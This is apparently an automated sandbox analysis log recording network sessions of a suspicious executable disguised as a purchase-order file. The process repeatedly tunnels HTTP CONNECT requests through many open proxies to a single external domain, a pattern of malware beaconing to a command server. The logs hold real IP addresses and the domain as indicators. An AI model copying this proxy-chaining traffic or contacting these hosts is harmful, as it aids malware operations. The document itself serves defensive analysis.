Mar 11, 2024 16:40:01.440707922 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.10	52881	43.255.113.232	8082	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.407308102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176664114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.285979033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.473761082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.786360979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.176634073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.473186016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.082513094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.176331997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.10	52903	195.114.209.50	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.715205908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910672903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.066720009 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 16:40:07.066848040 CET	299	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.10	52856	213.136.79.177	13675	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.718535900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910732985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004780054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.110307932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.207582951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.207530022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:33.207732916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.10	54719	207.180.252.117	2222	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.721298933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910671949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004776955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.10	54706	157.230.254.88	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.724512100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910732985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.223915100 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.10	54636	103.162.141.154	85	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.728121996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.012291908 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.10	52970	162.241.45.22	63501	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.851545095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.10	55227	129.213.150.205	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.851824999 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.10	52933	103.215.139.32	6437	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.851972103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910981894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004781008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.110325098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.207567930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.207510948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.10	52962	143.137.83.137	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.859038115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973457098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.973483086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.988886118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.988791943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.152837038 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.10	52897	186.46.34.20	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.870210886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973457098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.973483086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.988887072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.988791943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.10	53054	185.109.184.150	53155	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.870289087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973474026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.10	54756	112.5.33.179	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.873544931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973474026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.973490953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.10	52921	185.22.8.70	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.873580933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.10	54816	154.12.255.155	53225	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.878185987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.911061049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004800081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.110330105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.207530975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.207535028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.207636118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.10	53461	115.146.225.137	10046	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.878407955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.10	54795	45.11.95.166	6012	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.881203890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676572084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.785934925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.973521948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.082890034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
